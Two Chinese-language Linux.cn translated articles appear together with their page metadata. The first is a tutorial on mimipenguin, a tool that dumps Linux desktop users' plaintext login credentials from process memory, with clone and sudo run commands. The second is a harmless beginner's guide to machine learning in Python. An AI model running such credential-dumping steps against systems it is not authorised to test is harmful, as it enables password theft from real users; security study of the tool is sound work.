mimipenguin 是一个免费、开源、简单但是强大的 shell/python 脚本，用来从当前 Linux 桌面用户转储登录凭证（用户名和密码），并且已在不同的 Linux 发行版中测试过。
| 2017-06-07T08:18:00 | 2017-06-07T08:18:00 | 8,581 |
/article-8581-1.html
|
mimipenguin 是一个免费、开源、简单但是强大的 shell/python 脚本，用来从当前 Linux 桌面用户转储登录凭证（用户名和密码），并且已在不同的 Linux 发行版中测试过。
另外，它还支持如：VSFTPd（活跃的 FTP 客户端连接）、Apache2（活跃的/旧的 HTTP 基础认证会话，但是这需要 Gcore），还有 openssh-server（活跃的 SSH 链接，需用 [sudo 命令](https://www.tecmint.com/sudoers-configurations-for-setting-sudo-in-linux/)）。重要的是，它逐渐被移植到其他语言中，以支持所有可想到的以后可以利用的情况。
### mimipenguin 是如何工作的？
要理解 mimipenguin 是如何工作的，你需要知道所有或者大多数的 Linux 发行版会在内存中存储大量的重要信息, 如：凭据、加密密钥以及个人数据。
尤其是用户名和密码是由进程（运行中的程序）保存在内存中，并以明文形式存储较长时间。mimipenguin 在技术上利用这些在内存中的明文凭证 - 它会转储一个进程，并提取可能包含明文凭据的行。
然后，通过以下内容的哈希值来尝试计算每个单词的出现几率：`/etc/shadow`、内存和 regex 搜索。一旦找到任何内容，它就会在标准输出上打印出来。
### 在 Linux 中安装 mimipenguin
我们将使用 git 来克隆 mimipenguin 仓库，因此如果你还没安装，那么首先在系统上安装 git。
```
$ sudo apt install git #Debian/Ubuntu systems
$ sudo yum install git #RHEL/CentOS systems
$ sudo dnf install git #Fedora 22+
```
接着像这样在你的家目录（或者其他任何地方）克隆 mimipenguin 目录：
```
$ git clone https://github.com/huntergregal/mimipenguin.git
```
下载完成后，进入并如下运行 mimipenguin：
```
$ cd mimipenguin/
$ ./mimipenguin.sh
```
注意：如果你遇到下面的错误，那就使用 sudo 命令：
```
Root required - You are dumping memory...
Even mimikatz requires administrator
```
*在 Linux 中转储登录密码*
从上面的输出中，mimipenguin 向你提供了桌面环境的用户名和密码。
另外，还可以如下运行 python 版脚本：
```
$ sudo ./mimipenguin.py
```
注意有时 gcore 可能会阻塞脚本（这是 gcore 中一个已知问题）。
### 未来更新
下面是将会被添加到 mimipenguin 的功能：
* 提升总体效率
* 添加更多支持以及其他的凭据位置
* 包括支持非桌面环境
* 添加 LDAP 的支持
mimipenguin 的 Github 仓库：<https://github.com/huntergregal/mimipenguin>
同样，请查阅：
1. [如何在 Linux 中用密码保护一个 vim 文件](/article-8547-1.html)
2. [如何在 Linux 中生成/加密/解密随机密码](https://www.tecmint.com/generate-encrypt-decrypt-random-passwords-in-linux/)
3. [如何在 RHEL/CentOS/Fedora 中用密码保护 GRUB](https://www.tecmint.com/password-protect-grub-in-linux/)
4. [在 CentOS 7 中重置/恢复忘记的 root 用户账号密码](/article-8212-1.html)
在下面的评论栏中分享你关于这个工具的额外想法或者对 Linux 中内存中明文凭据的问题。
（题图：Pixabay，CC0）
---
作者简介：
Aaron Kili 是 Linux 和 F.O.S.S 爱好者，即将成为 Linux SysAdmin 和网络开发人员，目前是 TecMint 的内容创作者，他喜欢在电脑上工作，并坚信分享知识。
---
via: <https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/>
作者：[Aaron Kili](https://www.tecmint.com/author/aaronkili/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
使用 Python 开始你的机器学习之旅
|
Michael J. Garbade
|
https://opensource.com/article/17/5/python-machine-learning-introduction
|
从无人驾驶汽车到股市预测，再到在线学习，机器学习通过预测来进行自我提高的方法几乎被用在了每一个领域。由于机器学习的实际运用，目前它已经成为就业市场上最有需求的技能之一。
|
/data/attachment/album/201706/07/091219dd15wiwukzlubid0.png.thumb.jpg
|
/data/attachment/album/201706/07/091219dd15wiwukzlubid0.png
| true | false | true |
ucasFL
| false |
[
"机器学习",
"ML",
"Python"
] |
软件开发
|
{
"viewnum": 11464,
"commentnum": 2,
"favtimes": 6,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "219.136.55.204",
"message": "支持linux中国，加油",
"username": "q1658876832 [Chrome 50.0|Windows 7]",
"date": "2017-06-10T01:16:16"
},
{
"postip": "114.245.14.245",
"message": "谢谢！！",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-06-11T22:38:28"
}
] |
[] |
从无人驾驶汽车到股市预测，再到在线学习，机器学习通过预测来进行自我提高的方法几乎被用在了每一个领域。由于机器学习的实际运用，目前它已经成为就业市场上最有需求的技能之一。
| 2017-06-07T09:12:16 | 2017-06-07T09:12:16 | 8,582 |
/article-8582-1.html
|
>
> 机器学习是你的简历中必需的一门技能。我们简要概括一下使用 Python 来进行机器学习的一些步骤。
>
>
>
你想知道如何开始机器学习吗？在这篇文章中，我将简要概括一下使用 [Python](https://opensource.com/article/17/2/3-top-machine-learning-libraries-python) 来开始机器学习的一些步骤。Python 是一门流行的开源程序设计语言，也是在人工智能及其它相关科学领域中最常用的语言之一。机器学习简称 ML，是人工智能的一个分支，它是利用算法从数据中进行学习，然后作出预测。机器学习有助于帮助我们预测我们周围的世界。
从无人驾驶汽车到股市预测，再到在线学习，机器学习通过预测来进行自我提高的方法几乎被用在了每一个领域。由于机器学习的实际运用，目前它已经成为就业市场上最有需求的技能之一。另外，使用 Python 来开始机器学习很简单，因为有大量的在线资源，以及许多可用的 [Python 机器学习库](https://opensource.com/article/17/2/3-top-machine-learning-libraries-python)。
你需要如何开始使用 Python 进行机器学习呢？让我们来总结一下这个过程。
### 提高你的 Python 技能
由于 Python 在工业界和科学界都非常受欢迎，因此你不难找到 Python 的学习资源。如果你是一个从未接触过 Python 的新手，你可以利用在线资源，比如课程、书籍和视频来学习 Python。比如下面列举的一些资源：
* [Python 学习之路](https://learnpythonthehardway.org/book/)
* [Google 开发者 Python 课程（视频）](https://www.youtube.com/playlist?list=PLfZeRfzhgQzTMgwFVezQbnpc1ck0I6CQl)
* [Google 的 Python 课堂](https://developers.google.com/edu/python/)
### 安装 Anaconda
下一步是安装 [Anacona](https://opensource.com/tags/javascript?src=programming_resource_menu)。有了 Anaconda ，你将可以开始使用 Python 来探索机器学习的世界了。Anaconda 的默认安装库包含了进行机器学习所需要的工具。
### 基本的机器学习技能
有了一些基本的 Python 编程技能，你就可以开始学习一些基本的机器学习技能了。一个实用的学习方法是学到一定技能便开始进行练习。然而，如果你想深入学习这个领域，那么你需要准备投入更多的学习时间。
一个获取技能的有效方法是在线课程。吴恩达的 Coursera [机器学习课程](https://www.coursera.org/learn/machine-learning) 是一个不错的选择。其它有用的在线训练包括：
* [Python 机器学习： Scikit-Learn 教程](https://www.datacamp.com/community/tutorials/machine-learning-python#gs.HfAvLRs)
* [Python 实用机器学习教程](https://pythonprogramming.net/machine-learning-tutorial-python-introduction/)
你也可以在 [LiveEdu.tv](https://www.liveedu.tv/) 上观看机器学习视频，从而进一步了解这个领域。
### 学习更多的 Python 库
当你对 Python 和机器学习有一个好的感觉之后，可以开始学习一些[开源的 Python 库](https://opensource.com/article/17/5/4-practical-python-libraries)。科学的 Python 库将会使完成一些简单的机器学习任务变得很简单。然而，选择什么库是完全主观的，并且在业界内许多人有很大的争论。
一些实用的 Python 库包括：
* [Scikit-learn](http://scikit-learn.org/stable/) ：一个优雅的机器学习算法库，可用于数据挖掘和数据分析任务。
* [Tensorflow](https://opensource.com/article/17/2/machine-learning-projects-tensorflow-raspberry-pi) ：一个易于使用的神经网络库。
* [Theano](http://deeplearning.net/software/theano/) ： 一个强大的机器学习库，可以帮助你轻松的评估数学表达式。
* [Pattern](https://github.com/clips/pattern) ： 可以帮助你进行自然语言处理、数据挖掘以及更多的工作。
* [Nilearn](https://github.com/nilearn/nilearn) ：基于 Scikit-learn，它可以帮助你进行简单快速的统计学习。
### 探索机器学习
对基本的 Python、机器学习技能和 Python 库有了一定理解之后，就可以开始探索机器学习了。接下来，尝试探索一下 Scikit-learn 库。一个不错的教程是 Jake VanderPlas 写的 [Scikit-learn 简介](http://nbviewer.jupyter.org/github/donnemartin/data-science-ipython-notebooks/blob/master/scikit-learn/scikit-learn-intro.ipynb)。
然后，进入中级主题，比如 [K-均值聚类算法简介](https://www.datascience.com/blog/introduction-to-k-means-clustering-algorithm-learn-data-science-tutorials)、线性回归、[决策树](http://machinelearningmastery.com/implement-decision-tree-algorithm-scratch-python/)和逻辑回归。
最后，深入高级机器学习主题，比如向量机和复杂数据转换。
就像学习任何新技能一样，练习得越多，就会学得越好。你可以通过练习不同的算法，使用不同的数据集来更好的理解机器学习，并提高解决问题的整体能力。
使用 Python 进行机器学习是对你的技能的一个很好的补充，并且有大量免费和低成本的在线资源可以帮助你。你已经掌握机器学习技能了吗？可以在下面留下你的评论，或者[提交一篇文章](https://opensource.com/story)来分享你的故事。
（题图：opensource.com）
---
作者简介：
Michael J. Garbade 博士是旧金山 LiveEdu Inc（Livecoding.tv）的创始人兼首席执行官。Livecoding.tv 是世界上观看工程师直播编代码最先进的直播平台。你可以通过观看工程师们写网站、移动应用和游戏，来将你的技能提升到一个新的水平。MichaelJ. Garbade 博士拥有金融学博士学位，并且是一名自学成才的工程师，他喜欢 Python、Django、Sencha Touch 和视频流。
---
via: <https://opensource.com/article/17/5/python-machine-learning-introduction>
作者：[Michael J. Garbade](https://opensource.com/users/drmjg) 译者：[ucasFL](https://github.com/ucasFL) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.